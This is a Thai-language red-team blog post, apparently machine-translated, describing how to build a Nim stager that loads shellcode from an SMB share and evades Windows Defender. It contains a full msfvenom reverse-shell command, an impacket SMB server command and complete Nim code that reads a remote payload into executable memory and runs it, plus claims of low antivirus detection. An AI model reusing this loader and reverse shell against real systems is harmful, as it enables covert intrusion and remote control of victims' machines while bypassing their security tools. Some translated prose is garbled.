การพัฒนา SMB stager ใน Nim

Nov 24 2022
สวัสดีชาวทีมหงส์แดงทุกท่าน ฉันเพิ่งเริ่มติดต่อกับ Nim ในเรื่องการเขียนโค้ดที่ไม่เหมาะสม

สวัสดีชาวทีมหงส์แดงทุกท่าน ฉันเพิ่งเริ่มติดต่อกับ Nim ในเรื่องการเขียนโค้ดที่ไม่เหมาะสม พูดตามตรงฉันพบว่ามันยากและแปลก แต่ได้ผล!

วันนี้เรากำลังพัฒนา SMB stager อย่างง่าย โดยผ่าน Windows Defender ในการทดสอบในขณะนั้น

หากคุณชอบดูวิดีโอมากกว่าอ่าน สามารถดูวิดีโอฉบับเต็มได้ที่นี่:https://youtu.be/qq-S2syksL0

นอกจากนี้ หากคุณสนใจเข้าร่วม Discord แบบเปิดเพื่อแบ่งปันความรู้และประสบการณ์ด้านไซเบอร์ ยินดีต้อนรับ:https://discord.gg/dWCe5ZMvtQ

ไปกันเถอะ

ทฤษฎีนี้ค่อนข้างง่าย แนวคิดคือการหลีกเลี่ยงการเขียนเชลล์โค้ดลงในไฟล์ ข้ามการตรวจจับตามลายเซ็น ในขณะเดียวกันก็ช่วยฮิวริสติกด้วย ตอนแรกฉันพยายามดาวน์โหลด shellcode ด้วย HTTP แต่ฉันพบปัญหามากมาย ฉันไม่สามารถแก้ไขตัวเองได้ จากนั้นวิธีการก็เปลี่ยนไปเล็กน้อย แทนที่จะดาวน์โหลดจาก HTTP เพย์โหลดจะโฮสต์บนการแชร์ SMB และจะถูกอ่านโดยตรงจากที่นั่น

ฉันใช้ msfvenom payload แบบไม่มีขั้นตอน

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

ก่อนอื่น เราต้องนำเข้าไลบรารีเคอร์เนลของ Windows เพื่อให้เราสามารถเรียกใช้ Windows APIs:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

เวลาทดสอบ!

ฉันทำการทดสอบ 2 ครั้ง อันแรกเทียบกับไคลเอนต์ Windows 10 ที่มี Defender UP และ RUNNING อย่างที่สองคือต่อต้านอินเตอร์เฟส antiscan.me

Nim Stager กับ Windows Defender

การทดสอบ 1 เริ่มต้นด้วยการทิ้ง stager ไปที่ระบบไฟล์ จนถึงขณะนี้ยังไม่มีอะไรเกิดขึ้น หมายความว่าเราข้ามการตรวจจับตามลายเซ็นได้สำเร็จ ตอนนี้ให้วิ่งและสังเกต:

Stager ทำงานได้ดี และสิ่งแปลกที่นี่คือ Defender ได้รับการจัดการให้ทำงาน แต่สิ่งนี้ไม่ได้ทำให้กระสุนเสียหาย:

ฉันให้เปลือกนี้ทำงานเป็นเวลาหลายนาทีและมันก็ทำงานได้อย่างสมบูรณ์ โดยส่วนตัวแล้วฉันไม่มีเงื่อนงำว่าทำไมผู้พิทักษ์ถึงไม่ฆ่ามัน หากคุณรู้คำตอบฉันจะขอบคุณที่แบ่งปัน

นิม สเตเกอร์ vs Antiscanme

อย่าเข้าใจฉันผิด antiscanme นั้นยอดเยี่ยม แต่เมื่อทำการทดสอบ stagers พวกเขาไม่มีวิธีนำเสนอผลลัพธ์ที่ถูกต้อง ผลลัพธ์ที่คุณเห็นนั้นขึ้นอยู่กับการตรวจจับตามลายเซ็นอย่างแน่นหนา เนื่องจากไม่มีความเป็นไปได้ที่เครือข่ายจะดาวน์โหลด shellcode จริง ฉันคาดหวังว่าผู้ขาย AV จำนวนมากขึ้นจะได้รับสิ่งนั้นในการทดสอบจริง แต่มันเป็น “ก้าวแรก” ที่ดีที่จะทำ

หลังจากอัปโหลด stager แล้ว มีผู้ขายเพียง 4/26 คนเท่านั้นที่สามารถจับมันได้

ฉันเชื่อว่าทริกเกอร์นั้นขึ้นอยู่กับผู้ขายที่อ่านการเรียก Windows APIs ดังนั้นจึงนับว่าเป็นอันตราย แน่นอน เพื่อที่จะทดสอบว่าเกิดข้อผิดพลาดอะไรขึ้น ฉันต้องทำการทดสอบหลายๆ ครั้ง นั่นคือทฤษฎีของฉันในขณะนี้

บทสรุป

การเล่นกับ Nim เป็นเรื่องสนุกและผลลัพธ์ที่เราได้รับจากการแสดงละครนั้นยอดเยี่ยมมาก แน่นอนว่ายังมีวิธีการบายพาส AV ขั้นสูงอีกหลายวิธีที่เราสามารถทำได้ แต่เราจะทำอย่างนั้นในอนาคต หวังว่าคุณจะพบว่าเนื้อหานั้นมีประโยชน์และได้เรียนรู้สิ่งใหม่ๆ